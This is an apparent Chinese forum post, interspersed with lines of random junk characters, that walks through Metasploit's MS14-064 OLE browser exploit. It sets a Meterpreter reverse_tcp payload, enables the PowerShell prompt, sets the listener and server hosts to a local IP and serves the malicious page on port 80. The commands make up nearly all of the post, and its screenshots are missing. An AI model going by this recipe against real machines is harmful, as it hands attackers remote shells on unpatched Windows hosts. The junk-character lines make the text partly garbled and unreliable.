9 N7 G- j' c+ { p0 @8 s 我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示+ U+ c8 y0 O) `2 }
% L/ [" @. w0 B/ z$ q v
& E0 P d1 c6 U. ^+ C! N/ W
开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图：
( \* x) Z7 v( Q8 `6 P6 `
5 d% p+ R# Q0 T ?' L
0 E; g, E: P3 G
然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp
; E9 K! e9 a" Q
1 G; B. f* Z) T- G# x# E0 `* E" b
2 Q Q0 J; d2 t3 a+ A/ A
set AllowPowershellPrompt true
" K% q! m& z# e
$ P; H: b8 X" N4 o) l: r
$ g b" k) X7 X% Q) g8 p* ^/ N3 I' T
Set LHOST 192.168.0.109 {; G; ~4 J# t. J# I, U* |( A4 |
. K7 L) [' s1 A! n4 n! T* ^
y% P! t/ V! V9 U' c
set SRVHOST 192.168.0.109! f5 V) h0 e/ C6 d/ R/ \% n& w
( P7 Q$ @5 a/ Q! @% n
) [0 D0 L$ f* q, s# _9 _0 E" ` Set uripath share
& W5 A3 w. @5 B3 e2 X9 ~
! s; i1 G- M1 C1 {, b) x: [7 R+ X
. g3 x2 T5 B( z9 G! { Set srvport 80( x% g+ D6 }. D; o! P
! _3 y" L4 s) ]/ l. a% d5 B
5 D. [- ], A( x! k) c& H( v, v 
: ~- ~" {# p' I9 Z- V- v# H
3 Y7 }* T3 n1 c9 a8 o
2 K: g8 h# E2 ^
- Q, y1 S5 S5 u- j; _6 P2 t
: Y! K/ _) k; I2 w, A# \ S2 H
% H! a2 {' }1 m+ L
% G6 X( N& C; C7 W r/ H! e$ `, b# c
$ D# [$ e$ n% r/ n' y" E; r
2 o' S# v: }8 R7 d; A
3 U) f0 E* w& ^# ]
: t8 u0 }3 V5 i3 j- N p9 W# Y* j9 z7 K \- u
6 S! U1 {# T3 I3 k5 s
& @) ]; I4 M& e
% |) S/ O1 V. ]* l8 c" u. T 下面我们来访问本地地址如图：
! m( a, C4 ~! R K
3 i N) g' @- z4 f n! R; j1 B9 V. ?5 P: Y9 J5 D9 w) o
) U% d. Y9 m; e/ r# V
/ \0 t" e2 j ?& A. n" a6 p
* B9 \' R+ o/ a( @$ o( n
& r a# F9 o) m! x9 m, u7 M
. _# s2 D, {+ B7 i4 e
6 \( J. P5 R0 B 
. X# N9 o0 k! u8 n" [
发表于 2018-10-20 20:20:35
收藏
支持
反对